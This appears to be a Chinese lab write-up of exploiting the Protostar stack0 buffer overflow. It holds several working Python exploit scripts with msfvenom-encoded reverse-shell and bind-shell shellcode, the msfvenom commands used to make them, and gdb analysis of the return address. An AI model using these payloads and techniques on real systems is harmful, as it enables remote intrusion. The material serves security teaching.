    人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
    gdb -q -c core
    

    從core文件中發現每次shellcode的位置(bbbb處)在內存中的地址都是變化的

    方法3:

    #!bash
    vi exploit.py
    ------------exploit.py--------------
    #/usr/bin/python
    import os
    import sys
    buf =  ""
    buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
    buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
    buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
    buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
    buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
    buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
    buf += "\x8b\xf4\xbe\x2c"
    
    jmp_esp="some addr"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    ---------------end------------------
    
    gdb -q -c core
    

    從core文件中分析出的shellcode的位置(\xba\x31\x6f\x3c開始)都是變化的

    通過這三種不同情況得出結論:

    1. linux的真實情況是每次shellcode在內存中的地址是變化的
    2. 不能gdb ./stack0來看shellcode的內存地址,要通過gdb -q -c core來分析出系統運行./stack0時的真實情況,方法2和3都可行
    3. gdb ./stack0時,可能是系統判斷有人在調度,所以故意讓shellcode的內存地址每次都不變,用來干擾判斷
    4. 想直接在"a"*80+"1234"+"bbbb"中的1234的位置上寫入shellcode的起始地址是行不能的,只能用jmp esp或其他方法

    突然想到,在edb-debugger工具中找到的jmp esp的地址放入exploit.py中的jmp_esp中最后沒有成功有可能是因為kali的安全防護功能,其中的系統內存中加載的/lib/i386-linux-gnu/ld-2.19.so有安全設置

    下載checksec.sh檢查一下:http://www.trapkit.de/tools/checksec.sh

    #!bash
    chmod +x ./checksec.sh
    ./checksec.sh --file /lib/i386-linux-gnu/ld-2.19.so
    -------------output:----------------
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    Partial RELRO   No canary found   NX enabled    DSO             No RPATH   No RUNPATH   /lib/i386-linux-gnu/ld-2.19.so
    ---------------end------------------
    

    其中的NX enabled可以看出的確是這個原因

    檢查下./stack0:

    發現也是NX enabled,這個stack0應該是我在kali上用gcc -g -o stack0 stack0.c編譯出來的,默認有安全防護

    復制原系統protostar中的/opt/protostar/bin/stack0到kali中

    #!bash
    scp user:192.168.2.144:/opt/protostar/bin/stack0 /root/桌面
    ./checksec.sh --file stack0
    -----------output:-----------
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   stack0
    -------------end-------------
    

    這個才是原題protostar系統中的stack0,但是原系統中(protostar)溢出時無法產生core文件,無法分析執行時的shellcode和main_ret地址

    無法產生core文件應該是由于protostar默認的user用戶的權限對suid=root的/opt/protostar/bin/stack0文件權限不足以在發生溢出時產生core文件

    解決方法:

    cp /opt/protostar/bin/stack0 /tmp

    這樣/tmp/stack0就是user用戶的文件了,溢出時可以正常產生core文件,但是沒有原來/opt/protostar/bin/stack0的suid=root屬性

    開始一直是通過ssh [email protected]到protostar系統進行遠程操作的,后來發現ssh登錄時和直接在protostar系統中操作時不同,這兩種情況下運行:python exploit.py 在內存中分配的地址不同

    ssh [email protected]時shellcode的內存地址為0xbffff790
    直接在protostar虛擬機中操作時shellcode的內存地址為0xbffff880

    后來以改為直接在protostar系統中操作,將jmp_esp的值改為"\x80\xf8\xff\xbf"

    重新由下面語句生成shellcode,由原來的x64改成x86,LPORT改成2222(kali為64位系統,protostar為32位系統)

    #!bash
    msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
    exploit.py代碼如下:
    -------------------exploit.py-----------------------
    #/usr/bin/python
    import os
    import sys
    
    buf =  ""
    buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
    buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
    buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
    buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
    buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
    buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
    buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
    buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"
    
    jmp_esp="\x70\xf8\xff\xbf"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    -----------------end--------------------------------
    

    發現還是無法反彈shell,于是在shellcode前加一串nop試試,發現加9個以上的nop(\x90)可以成功反彈shell

    加上nop后代碼如下:

    #!bash
    ----------------------exploit.py--------------------------
    #/usr/bin/python
    import os
    import sys
    
    buf =  "\x90"*9
    buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
    buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
    buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
    buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
    buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
    buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
    buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
    buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"
    
    jmp_esp="\x70\xf8\xff\xbf"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    ------------------------end-------------------------------
    

    而經檢驗并不是shellcode在內存中的位置(0x0xbffff880)定位不準的問題,應該是由于以下原因造成:

    上面msfvenom生成shellcode時,由于加了-b "\x00"參數,msfvenom默認用x86/shikata_ga_nai編碼器編碼,解碼過程需要shellcode前面有一些空間(這里是9個字節大小的空間)用來幫助完成shellcode的解碼過程

    shellcode前面加上9個以上的nop后shellcode順利的完成了解碼,反彈了shell(本地事先用相同的payload+multi/handler監聽,如果用nc -lvp 2222來監聽不能建立shell的連接,用nc -lvp只能看到connect,然后就斷了)

    但是由于protostar系統是個liveCD系統,反彈的shell連上以后馬上會斷,應該是由于"光盤"特殊的原因

    這樣看來,并不是msf產生的shellcode就是毋庸置疑完全可靠的,前面竟要9個以上的空間才可支持其解碼后順利運行

    用同樣的方法在kali上嘗試溢出反彈shell,將protostar系統中的stack0復制到kali上

    #!bash
    scp [email protected]:/opt/protostar/bin/stack0 /root/桌面
    

    用msfvenom重新生成shellcode:

    #!bash
    msfvenom -p linux/x64/shell/bind_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
    -------------------------output:-------------------------
    No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    No Arch selected, selecting Arch: x86_64 from the payload
    Found 2 compatible encoders
    Attempting to encode payload with 1 iterations of x64/xor
    x64/xor succeeded with size 119 (iteration=0)
    x64/xor chosen with final size 119
    Payload size: 119 bytes
    buf =  ""
    buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
    buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
    buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
    buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
    buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
    buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
    buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
    buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
    buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
    buf += "\xbe\x05"
    --------------------------end----------------------------
    

    此時exploit.py如下:

    #!bash
    ---------------------exploit.py------------------------
    #/usr/bin/python
    import os
    import sys
    
    buf =  "bbbb"
    buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
    buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
    buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
    buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
    buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
    buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
    buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
    buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
    buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
    buf += "\xbe\x05"
    
    jmp_esp="\xff\x48\x87\xa0"    #此處jmp_esp暫時不確定
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    -----------------------end-----------------------------
    

    嘗試通過shellcode前面加上標志"bbbb"找出shellcode在內存中的固定地址,其中上面jmp_esp的值為隨意填寫的一個

    #!bash
    python exploit.py
    --------------output:-----------------
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?H??bbbbH1????H???H?S?????H1X'H-????9?R???W????'??????
                                  V?????M????
                                            ????M   o????(M???]o?
    you have changed the 'modified' variable
    Segmentation fault (core dumped)
    ----------------end-------------------
    
    gdb -q -c core
    ---------------output:------------------
    [New LWP 24384]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0xa08748ff in ?? ()
    -----------------end--------------------
    
    x/10x $esp
    ----------output:-----------
    0xffd26180:     0x62626262      0x48c93148      0xfff6e981      0x8d48ffff
    0xffd26190:     0xffffef05      0x53bb48ff      0xa29ca7dd      0x4805be89
    0xffd261a0:     0x2d485831      0xfffffff8
    -----------end--------------
    

    由此看出shellcode在內存的地址應該寫成0xffd26180,也即jmp_esp="\x80\x61\xd2\xff",并將"bbbb"換成"\x90"*9,修改exploit.py如下:

    #!bash
    --------------------exploit.py-------------------
    #/usr/bin/python
    import os
    import sys
    
    buf =  "\x90"*9
    buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
    buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
    buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
    buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
    buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
    buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
    buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
    buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
    buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
    buf += "\xbe\x05"
    
    jmp_esp="\x80\x61\xd2\xff"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    ----------------------end------------------------
    

    重新運行:

    #!bash
    python exploit.py
    ----------------output:-------------------
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?a?????????H1????H???H?S?????H1X'H-????9?R???W????'??????
                                     V?????M????
                                               ????M        o????(M???]o?
    you have changed the 'modified' variable
    Segmentation fault (core dumped)
    ------------------end---------------------
    

    本機用相同的payload+multi/handler執行exploit無法獲得shell

    分析core

    #!bash
    gdb -q -c core
    -----------------output:--------------------
    [New LWP 24746]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0xffd26180 in ?? ()
    -------------------end----------------------
    
    x/10x $esp
    ----------output:-------------
    0xffa14160:     0x90909090      0x90909090      0xc9314890      0xf6e98148
    0xffa14170:     0x48ffffff      0xffef058d      0xbb48ffff      0x9ca7dd53
    0xffa14180:     0x05be89a2      0x48583148
    -------------end--------------
    

    從中發現這時shellcode的內存地址又變成了0xffa14160(上面[esp]后緊接的9個90證明了這點),不再是0xffd26180,可以看出kali的內存中沒有固定的shellcode地址,每次shellcode地址都會變化,這應該是由于kali的內核版本高,安全性好造成的

    97av